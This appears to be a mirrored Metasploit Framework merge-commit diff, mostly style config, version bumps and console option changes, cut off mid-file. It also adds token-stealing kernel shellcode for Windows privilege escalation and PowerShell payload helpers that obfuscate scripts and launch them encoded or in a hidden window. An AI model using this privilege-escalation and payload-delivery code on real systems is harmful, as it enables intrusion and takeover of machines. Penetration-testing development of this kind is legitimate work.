mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-08-28 23:26:18 +02:00
Merge branch 'master' into aruba-testing
Conflicts: .rubocop.yml Gemfile Gemfile.lock Rakefile lib/metasploit/framework/command/console.rb lib/metasploit/framework/common_engine.rb lib/metasploit/framework/parsed_options/console.rb lib/metasploit/framework/require.rb lib/metasploit/framework/version.rb lib/msf/core/modules/namespace.rb modules/auxiliary/analyze/jtr_postgres_fast.rb spec/lib/msf/core/framework_spec.rb
This commit is contained in:
commit
a09037ffa3
56
.rubocop.yml
Normal file
56
.rubocop.yml
Normal file
@ -0,0 +1,56 @@
|
||||
# This list was intially created by analyzing the last three months (51
|
||||
# modules) committed to Metasploit Framework. Many, many older modules
|
||||
# will have offenses, but this should at least provide a baseline for
|
||||
# new modules.
|
||||
#
|
||||
# Updates to this file should include a 'Description' parameter for any
|
||||
# explaination needed.
|
||||
|
||||
# inherit_from: .rubocop_todo.yml
|
||||
|
||||
Style/ClassLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
Enabled: true
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/Encoding:
|
||||
Enabled: true
|
||||
Description: 'We prefer binary to UTF-8.'
|
||||
EnforcedStyle: 'when_needed'
|
||||
|
||||
Style/LineLength:
|
||||
Description: >-
|
||||
Metasploit modules often pattern match against very
|
||||
long strings when identifying targets.
|
||||
Enabled: true
|
||||
Max: 180
|
||||
|
||||
Style/MethodLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Style/SpaceInsideBrackets:
|
||||
Enabled: false
|
||||
Description: 'Until module template are final, most modules will fail this.'
|
||||
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
Description: 'Single vs double quote fights are largely unproductive.'
|
||||
|
||||
Style/WordArray:
|
||||
Enabled: false
|
||||
Description: 'Metasploit prefers consistent use of []'
|
@ -33,7 +33,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f
|
||||
## Code Contributions
|
||||
|
||||
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
|
||||
* Similarly, **try** to get Rubocop passing or at least relatively quiet against the files added/modified as part of your contribution
|
||||
* *Do* get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying.
|
||||
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
|
||||
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
|
||||
|
||||
|
1
Gemfile
1
Gemfile
@ -43,7 +43,6 @@ group :development, :test do
|
||||
gem 'cucumber'
|
||||
|
||||
gem 'aruba'
|
||||
|
||||
end
|
||||
|
||||
group :pcap do
|
||||
|
@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.10.0.pre.dev)
|
||||
metasploit-framework (4.10.1.pre.dev)
|
||||
actionpack (< 4.0.0)
|
||||
activesupport (>= 3.0.0, < 4.0.0)
|
||||
bcrypt
|
||||
|
3
Rakefile
3
Rakefile
@ -10,7 +10,6 @@ Metasploit::Framework::Require.optionally_active_record_railtie
|
||||
|
||||
Metasploit::Framework::Application.load_tasks
|
||||
|
||||
|
||||
begin
|
||||
require 'cucumber'
|
||||
require 'cucumber/rake/task'
|
||||
@ -20,4 +19,4 @@ begin
|
||||
rescue LoadError
|
||||
puts "cucumber not in bundle, so can't set up feature tasks. " \
|
||||
"To run features ensure to install the development and test groups."
|
||||
end
|
||||
end
|
||||
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
data/meterpreter/ext_server_android.jar
Normal file
BIN
data/meterpreter/ext_server_android.jar
Normal file
Binary file not shown.
@ -7,7 +7,7 @@ CLASSES = Exploit.java
|
||||
all: $(CLASSES:.java=.class)
|
||||
|
||||
install:
|
||||
mv *.class ../../../../data/exploits/CVE-2013-3465/
|
||||
mv *.class ../../../../data/exploits/CVE-2013-2465/
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
||||
|
@ -8,7 +8,12 @@ require 'metasploit/framework/command/base'
|
||||
# Based on pattern used for lib/rails/commands in the railties gem.
|
||||
class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::Base
|
||||
def start
|
||||
driver.run
|
||||
case parsed_options.options.subcommand
|
||||
when :version
|
||||
$stderr.puts "Framework Version: #{Metasploit::Framework::VERSION}"
|
||||
else
|
||||
driver.run
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
@ -37,6 +42,7 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::
|
||||
|
||||
driver_options = {}
|
||||
driver_options['Config'] = options.framework.config
|
||||
driver_options['ConfirmExit'] = options.console.confirm_exit
|
||||
driver_options['DatabaseEnv'] = options.environment
|
||||
driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths
|
||||
driver_options['DatabaseYAML'] = options.database.config
|
||||
|
@ -27,6 +27,8 @@ module Metasploit::Framework::CommonEngine
|
||||
config.paths.add 'data/meterpreter', glob: '**/ext_*'
|
||||
config.paths.add 'modules'
|
||||
|
||||
config.active_support.deprecation = :notify
|
||||
|
||||
#
|
||||
# `initializer`s
|
||||
#
|
||||
|
@ -9,12 +9,14 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
|
||||
options.console = ActiveSupport::OrderedOptions.new
|
||||
|
||||
options.console.commands = []
|
||||
options.console.confirm_exit = false
|
||||
options.console.defanged = false
|
||||
options.console.local_output = nil
|
||||
options.console.plugins = []
|
||||
options.console.quiet = false
|
||||
options.console.real_readline = false
|
||||
options.console.resources = []
|
||||
options.console.subcommand = :run
|
||||
}
|
||||
end
|
||||
|
||||
@ -34,6 +36,10 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
|
||||
option_parser.separator ''
|
||||
option_parser.separator 'Console options:'
|
||||
|
||||
option_parser.on('-a', '--ask', "Ask before exiting Metasploit or accept 'exit -y'") do
|
||||
options.console.confirm_exit = true
|
||||
end
|
||||
|
||||
option_parser.on('-d', '--defanged', 'Execute the console as defanged') do
|
||||
options.console.defanged = true
|
||||
end
|
||||
|
@ -49,10 +49,14 @@ module Metasploit
|
||||
#
|
||||
# @return [void]
|
||||
def self.optionally_active_record_railtie
|
||||
optionally(
|
||||
if ::File.exist?(Rails.application.config.paths['config/database'].first)
|
||||
optionally(
|
||||
'active_record/railtie',
|
||||
'activerecord not in the bundle, so database support will be disabled.'
|
||||
)
|
||||
)
|
||||
else
|
||||
warn 'Could not find database.yml, so database support will be disabled.'
|
||||
end
|
||||
end
|
||||
|
||||
# Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`.
|
||||
@ -89,4 +93,4 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -3,7 +3,7 @@ module Metasploit
|
||||
module Version
|
||||
MAJOR = 4
|
||||
MINOR = 10
|
||||
PATCH = 0
|
||||
PATCH = 1
|
||||
PRERELEASE = 'dev'
|
||||
end
|
||||
|
||||
|
33
lib/msf/base/sessions/meterpreter_android.rb
Normal file
33
lib/msf/base/sessions/meterpreter_android.rb
Normal file
@ -0,0 +1,33 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
require 'msf/base/sessions/meterpreter_java'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
|
||||
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'java/android'
|
||||
end
|
||||
|
||||
def load_android
|
||||
original = console.disable_output
|
||||
console.disable_output = true
|
||||
console.run_single('load android')
|
||||
console.disable_output = original
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
@ -59,6 +59,12 @@ module MeterpreterOptions
|
||||
end
|
||||
end
|
||||
|
||||
if session.platform =~ /android/i
|
||||
if datastore['AutoLoadAndroid']
|
||||
session.load_android
|
||||
end
|
||||
end
|
||||
|
||||
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
||||
if (datastore[key].empty? == false)
|
||||
args = Shellwords.shellwords( datastore[key] )
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Simple
|
||||
module Framework
|
||||
|
@ -230,7 +230,7 @@ module Auxiliary::Report
|
||||
end
|
||||
|
||||
case ctype
|
||||
when "text/plain"
|
||||
when /^text\/[\w\.]+$/
|
||||
ext = "txt"
|
||||
end
|
||||
# This method is available even if there is no database, don't bother checking
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
class DBManager
|
||||
# Handles importing of the xml format exported by Pro. The methods are in a
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
class DBManager
|
||||
module Migration
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Exe
|
||||
|
||||
|
@ -155,7 +155,7 @@ module Exploit::CmdStager
|
||||
|
||||
# Returns a hash with the :decoder option if possible
|
||||
#
|
||||
# @params opts [Hash] Input Hash.
|
||||
# @param opts [Hash] Input Hash.
|
||||
# @return [Hash] Hash with the input data and a :decoder option when
|
||||
# possible.
|
||||
def opts_with_decoder(opts = {})
|
||||
@ -280,7 +280,7 @@ module Exploit::CmdStager
|
||||
# Answers if the input flavor is compatible with the current target or module.
|
||||
#
|
||||
# @param f [Symbol] The flavor to check
|
||||
# @returns [Boolean] true if compatible, false otherwise.
|
||||
# @return [Boolean] true if compatible, false otherwise.
|
||||
def compatible_flavor?(f)
|
||||
return true if target_flavor.nil?
|
||||
case target_flavor.class.to_s
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Local::CompileC
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core/exploit/local/compile_c'
|
||||
|
||||
module Msf
|
||||
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core/exploit/local/compile_c'
|
||||
|
||||
module Msf
|
||||
|
164
lib/msf/core/exploit/local/windows_kernel.rb
Normal file
164
lib/msf/core/exploit/local/windows_kernel.rb
Normal file
@ -0,0 +1,164 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Local::WindowsKernel
|
||||
include Msf::PostMixin
|
||||
include Msf::Post::Windows::Error
|
||||
|
||||
#
|
||||
# Find the address of nt!HalDispatchTable.
|
||||
#
|
||||
# @return [Integer] The address of nt!HalDispatchTable.
|
||||
# @return [nil] If the address could not be found.
|
||||
#
|
||||
def find_haldispatchtable
|
||||
kernel_address, kernel_name = find_sys_base(nil)
|
||||
if kernel_address.nil? || kernel_name.nil?
|
||||
print_error("Failed to find the address of the Windows kernel")
|
||||
return nil
|
||||
end
|
||||
vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}")
|
||||
|
||||
h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1)
|
||||
if h_kernel['return'] == 0
|
||||
print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
h_kernel = h_kernel['return']
|
||||
|
||||
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable')
|
||||
if hal_dispatch_table['return'] == 0
|
||||
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
hal_dispatch_table = hal_dispatch_table['return']
|
||||
|
||||
hal_dispatch_table -= h_kernel
|
||||
hal_dispatch_table += kernel_address
|
||||
vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
|
||||
hal_dispatch_table
|
||||
end
|
||||
|
||||
#
|
||||
# Find the load address for a device driver on the session.
|
||||
#
|
||||
# @param drvname [String, nil] The name of the module to find, otherwise the kernel
|
||||
# if this value is nil.
|
||||
# @return [Array] An array containing the base address and the located drivers name.
|
||||
# @return [nil] If the name specified could not be found.
|
||||
#
|
||||
def find_sys_base(drvname)
|
||||
if session.railgun.util.pointer_size == 8
|
||||
ptr = 'Q<'
|
||||
else
|
||||
ptr = 'V'
|
||||
end
|
||||
|
||||
results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size)
|
||||
unless results['return']
|
||||
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size)
|
||||
unless results['return']
|
||||
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*")
|
||||
|
||||
addresses.each do |address|
|
||||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
||||
if results['return'] == 0
|
||||
print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
current_drvname = results['lpBaseName'][0,results['return']]
|
||||
if drvname.nil?
|
||||
if current_drvname.downcase.include?('krnl')
|
||||
return address, current_drvname
|
||||
end
|
||||
elsif drvname == current_drvname
|
||||
return address, current_drvname
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Open a device on a meterpreter session with a call to CreateFileA and return
|
||||
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
|
||||
# are specified as nil.
|
||||
#
|
||||
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
|
||||
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
|
||||
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
|
||||
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
|
||||
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
|
||||
# @return [Integer] The device handle.
|
||||
# @return [nil] If the call to CreateFileA failed.
|
||||
#
|
||||
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
|
||||
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
|
||||
if handle['return'] == INVALID_HANDLE_VALUE
|
||||
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})")
|
||||
return nil
|
||||
end
|
||||
handle['return']
|
||||
end
|
||||
|
||||
#
|
||||
# Generate token stealing shellcode suitable for use when overwriting the
|
||||
# HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx
|
||||
# registers.
|
||||
#
|
||||
# @param target [Hash] The target information containing the offsets to _KPROCESS,
|
||||
# _TOKEN, _UPID and _APLINKS.
|
||||
# @param backup_token [Integer] An optional location to write a copy of the
|
||||
# original token to so it can be restored later.
|
||||
# @param arch [String] The architecture to return shellcode for. If this is nil,
|
||||
# the arch will be guessed from the target and then module information.
|
||||
# @return [String] The token stealing shellcode.
|
||||
# @raise [ArgumentError] If the arch is incompatible.
|
||||
#
|
||||
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
|
||||
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
|
||||
if arch.nil? && module_info['Arch']
|
||||
arch = module_info['Arch']
|
||||
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
|
||||
end
|
||||
if arch.nil?
|
||||
print_error('Can not determine the target architecture')
|
||||
fail ArgumentError, 'Invalid arch'
|
||||
end
|
||||
|
||||
tokenstealing = ''
|
||||
case arch
|
||||
when ARCH_X86
|
||||
tokenstealing << "\x52" # push edx # Save edx on the stack
|
||||
tokenstealing << "\x53" # push ebx # Save ebx on the stack
|
||||
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
|
||||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
|
||||
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
|
||||
tokenstealing << "\x8b\xc8" # mov ecx, eax
|
||||
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
|
||||
unless backup_token.nil?
|
||||
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
|
||||
end
|
||||
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
|
||||
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
|
||||
tokenstealing << "\x75\xe8" # jne 0000101e ======================
|
||||
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
|
||||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
|
||||
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
|
||||
tokenstealing << "\x5b" # pop ebx # Restores ebx
|
||||
tokenstealing << "\x5a" # pop edx # Restores edx
|
||||
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
|
||||
else
|
||||
# if this is reached the issue most likely exists in the exploit module
|
||||
print_error('Unsupported arch for token stealing shellcode')
|
||||
fail ArgumentError, 'Invalid arch'
|
||||
end
|
||||
tokenstealing
|
||||
end
|
||||
end
|
||||
end
|
@ -1,3 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
@ -1,178 +1,380 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'zlib'
|
||||
require 'rex/exploitation/powershell'
|
||||
|
||||
module Msf
|
||||
module Exploit::Powershell
|
||||
PowershellScript = Rex::Exploitation::Powershell::Script
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
|
||||
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
|
||||
OptBool.new('RUN_WOW64', [
|
||||
true,
|
||||
'Execute powershell in 32bit compatibility mode, payloads need native arch',
|
||||
false
|
||||
]),
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
|
||||
OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
|
||||
OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
|
||||
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
|
||||
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
|
||||
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
|
||||
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Insert substitutions into the powershell script
|
||||
# Return an encoded powershell script
|
||||
# Will invoke PSH modifiers as enabled
|
||||
#
|
||||
def make_subs(script, subs)
|
||||
if ::File.file?(script)
|
||||
script = ::File.read(script)
|
||||
# @param script_in [String] Script contents
|
||||
#
|
||||
# @return [String] Encoded script
|
||||
def encode_script(script_in)
|
||||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
end
|
||||
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0],set[1])
|
||||
end
|
||||
if datastore['VERBOSE']
|
||||
print_good("Final Script: ")
|
||||
script.each_line {|l| print_status("\t#{l}")}
|
||||
end
|
||||
return script
|
||||
psh.encode_code
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of substitutions for use in make_subs
|
||||
# Return a gzip compressed powershell script
|
||||
# Will invoke PSH modifiers as enabled
|
||||
#
|
||||
def process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
return new_subs
|
||||
end
|
||||
|
||||
#
|
||||
# Read in a powershell script stored in +script+
|
||||
#
|
||||
def read_script(script)
|
||||
script_in = ''
|
||||
begin
|
||||
# Open script file for reading
|
||||
fd = ::File.new(script, 'r')
|
||||
while (line = fd.gets)
|
||||
script_in << line
|
||||
end
|
||||
|
||||
# Close open file
|
||||
fd.close()
|
||||
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
||||
# Treat script as a... script
|
||||
script_in = script
|
||||
end
|
||||
return script_in
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Return a zlib compressed powershell script
|
||||
# @param script_in [String] Script contents
|
||||
# @param eof [String] Marker to indicate the end of file appended to script
|
||||
#
|
||||
# @return [String] Compressed script with decompression stub
|
||||
def compress_script(script_in, eof = nil)
|
||||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
end
|
||||
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = ::Zlib::Deflate.deflate(script_in,
|
||||
::Zlib::BEST_COMPRESSION)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = "$stream = New-Object IO.MemoryStream(,"
|
||||
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
|
||||
# Read & delete the first two bytes due to incompatibility with MS
|
||||
psh_expression << "$stream.ReadByte()|Out-Null;"
|
||||
psh_expression << "$stream.ReadByte()|Out-Null;"
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
|
||||
psh_expression << "$(New-Object IO.Compression.DeflateStream("
|
||||
psh_expression << "$stream,"
|
||||
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
|
||||
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
|
||||
|
||||
# If eof is set, add a marker to signify end of script output
|
||||
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
|
||||
# Convert expression to unicode
|
||||
unicode_expression = Rex::Text.to_unicode(psh_expression)
|
||||
|
||||
# Base64 encode the unicode expression
|
||||
encoded_expression = Rex::Text.encode_base64(unicode_expression)
|
||||
|
||||
return encoded_expression
|
||||
psh.compress_code(eof)
|
||||
end
|
||||
|
||||
#
|
||||
# Runs powershell in hidden window raising interactive proc msg
|
||||
# Generate a powershell command line, options are passed on to
|
||||
# generate_psh_args
|
||||
#
|
||||
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
|
||||
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
|
||||
# @param opts [Hash] The options to generate the command line
|
||||
# @option opts [String] :path Path to the powershell binary
|
||||
# @option opts [Boolean] :no_full_stop Whether powershell binary
|
||||
# should include .exe
|
||||
#
|
||||
# @return [String] Powershell command line with arguments
|
||||
def generate_psh_command_line(opts)
|
||||
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
||||
opts[:path] << '\\'
|
||||
end
|
||||
|
||||
ps_wrapper = <<EOS
|
||||
$si = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$si.FileName = #{ps_bin}
|
||||
$si.Arguments = '#{ps_args}'
|
||||
$si.UseShellExecute = $false
|
||||
$si.RedirectStandardOutput = $true
|
||||
$si.WindowStyle = 'Hidden'
|
||||
$si.CreateNoWindow = $True
|
||||
$p = [System.Diagnostics.Process]::Start($si)
|
||||
if opts[:no_full_stop]
|
||||
binary = 'powershell'
|
||||
else
|
||||
binary = 'powershell.exe'
|
||||
end
|
||||
|
||||
args = generate_psh_args(opts)
|
||||
|
||||
"#{opts[:path]}#{binary} #{args}"
|
||||
end
|
||||
|
||||
#
|
||||
# Generate arguments for the powershell command
|
||||
# The format will be have no space at the start and have a space
|
||||
# afterwards e.g. "-Arg1 x -Arg -Arg x "
|
||||
#
|
||||
# @param opts [Hash] The options to generate the command line
|
||||
# @option opts [Boolean] :shorten Whether to shorten the powershell
|
||||
# arguments (v2.0 or greater)
|
||||
# @option opts [String] :encodedcommand Powershell script as an
|
||||
# encoded command (-EncodedCommand)
|
||||
# @option opts [String] :executionpolicy The execution policy
|
||||
# (-ExecutionPolicy)
|
||||
# @option opts [String] :inputformat The input format (-InputFormat)
|
||||
# @option opts [String] :file The path to a powershell file (-File)
|
||||
# @option opts [Boolean] :noexit Whether to exit powershell after
|
||||
# execution (-NoExit)
|
||||
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
|
||||
# @option opts [Boolean] :noninteractive Whether to load a non
|
||||
# interactive powershell (-NonInteractive)
|
||||
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
|
||||
# Apartment (-Mta)
|
||||
# @option opts [String] :outputformat The output format
|
||||
# (-OutputFormat)
|
||||
# @option opts [Boolean] :sta Whether to run as Single-Threaded
|
||||
# Apartment (-Sta)
|
||||
# @option opts [Boolean] :noprofile Whether to use the current users
|
||||
# powershell profile (-NoProfile)
|
||||
# @option opts [String] :windowstyle The window style to use
|
||||
# (-WindowStyle)
|
||||
#
|
||||
# @return [String] Powershell command arguments
|
||||
def generate_psh_args(opts)
|
||||
return '' unless opts
|
||||
|
||||
unless opts.key? :shorten
|
||||
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
end
|
||||
|
||||
arg_string = ' '
|
||||
opts.each_pair do |arg, value|
|
||||
case arg
|
||||
when :encodedcommand
|
||||
arg_string << "-EncodedCommand #{value} " if value
|
||||
when :executionpolicy
|
||||
arg_string << "-ExecutionPolicy #{value} " if value
|
||||
when :inputformat
|
||||
arg_string << "-InputFormat #{value} " if value
|
||||
when :file
|
||||
arg_string << "-File #{value} " if value
|
||||
when :noexit
|
||||
arg_string << '-NoExit ' if value
|
||||
when :nologo
|
||||
arg_string << '-NoLogo ' if value
|
